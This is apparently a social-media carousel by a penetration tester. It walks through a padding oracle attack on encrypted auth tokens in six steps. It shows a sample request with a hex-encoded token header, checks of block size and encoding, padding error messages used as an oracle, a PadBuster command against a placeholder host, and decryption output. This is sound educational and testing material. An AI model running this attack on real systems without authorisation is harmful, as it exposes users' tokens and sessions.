“Did you know we broke your encryption?”

Padding Oracle attack in 6 steps

No theories
Just a real world case study

During a pentest for a global institution, I discovered a flaw in their encryption and **decrypted their tokens**.

Here's my framework to simply the process:

Observe
Review
Alter
Check
Link
Exploit

Written by
William Chu (@sechurity)

Observe

Observe for encrypted text:

- Parameters in URLs
- POST data
- Cookies
- Headers

```
GET /api/users/userlist HTTP/2
Host: fake.host
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:139.0) Gecko/20100101
Firefox/139.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
fakeauth:
755adf7045f6527e4aebf228748ee324f0a9aed1d4646ec944c21be03cfceaf7cc689fed0d62f92
f52826e8276bd6839738459b806b5e6b52c1b6777a85d44f2d48a44f11c94d4dc26482d65a370b6
7bb024d73e86c56de1e4ad03cdd22b5995514ffecc4036bbb8980a9cbe9a62ae8aa09fc100534fa
d2e59fd35e6799149f7e044c4024de80cf5b6dcdbe65b0ab430b3f684d3eea7dafa360d7d43aeb4
8c70
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
```

Written by
William Chu (@sechurity)

Review

Review and find out:

- Block Size: 8/16 bytes (Number of bytes for cipher text divisible by 16? By 8?)
- Encoding: Base64/Hex

```
>>> len('755adf7045f6527e4aebf228748ee324f0a9aed1d4646ec944c2
1be03cfceaf7cc689fed0d62f92f52826e8276bd6839738459b806b5e6b52
c1b6777a85d44f2d48a44f11c94d4dc26482d65a370b67bb024d73e86c56d
e1e4ad03cdd22b5995514ffecc4036bbb8980a9cbe9a62ae8aa09fc100534
fad2e59fd35e6799149f7e044c4024de80cf5b6dcdbe65b0ab430b3f684d3
eea7dafa360d7d43aeb48c70')%16
0
>>>
>>>
>>>
>>>
```

Block size: likely 16 (divisible by 16)

Encoding: lowercase hex

Written by

William Chu (@sechurity)

Alter

Alter the last byte

Original

`755a...7d43aeb48c70`

Altered version #1

`755a...7d43aeb48c00`

Altered version #2

`755a...7d43aeb48c`

Written by
William Chu (@sechurity)

Check

Check server's response:

- New error messages
- Different HTTP status codes
- Different response times

New error #1

```
Unexpected character encountered
```

New error #2

```
Padding is invalid
```

Written by
William Chu (@sechurity)

Link

Link the responses to the possible error cases:

Case #1

The ciphertext can be decrypted but it contains invalid value

Case #2

The ciphertext cannot be decrypted (error condition)

Written by
William Chu (@sechurity)

Exploit

Use automated tools like PadBuster and feed the parameters into it

```
# modified padbuster.pl to support headers
# https://gist.github.com/
sechurity/566ea8909b2a21d5d82d7541e17a395b

perl padbuster-headers.pl \
'https://fake.host/api/users/userlist'\
'755a...7d43aeb48c70' 16 \
-encoding 1 \
-headers "fakeauth::755a...7d43aeb48c70" \
-error "Padding is invalid" \
-post '{}' \
-usebody \
-verbose
```

Written by
William Chu (@sechurity)

Result?

The entire ciphertext got decrypted block-by-block in 30 minutes

```
*** Starting Block 2 of 10 ***

[+] Success:          [Byte 16]
[+] Success:           [Byte 15]
[+] Success:          ) [Byte 14]
[+] Success:           [Byte 13]
[+] Success:          ) [Byte 12]
[+] Success:          ) [Byte 11]
[+] Success:          ) [Byte 10]
[+] Success:          ) [Byte 9]
[+] Success:           [Byte 8]
[+] Success:          ) [Byte 7]
[+] Success:           [Byte 6]
[+] Success:           [Byte 5]
[+] Success:          ) [Byte 4]
[+] Success:          ) [Byte 3]
[+] Success:          [Byte 2]
[+] Success:          [Byte 1]

Block 2 Results:
[+] Cipher Text (HEX):
[+] Intermediate Bytes
[+] Plain Text:
```

Written by
William Chu (@sechurity)

Thanks for reading my first carousel.

Do you like it?
How can it be better?

Let me know your thoughts in the comment.

Happy Hacking!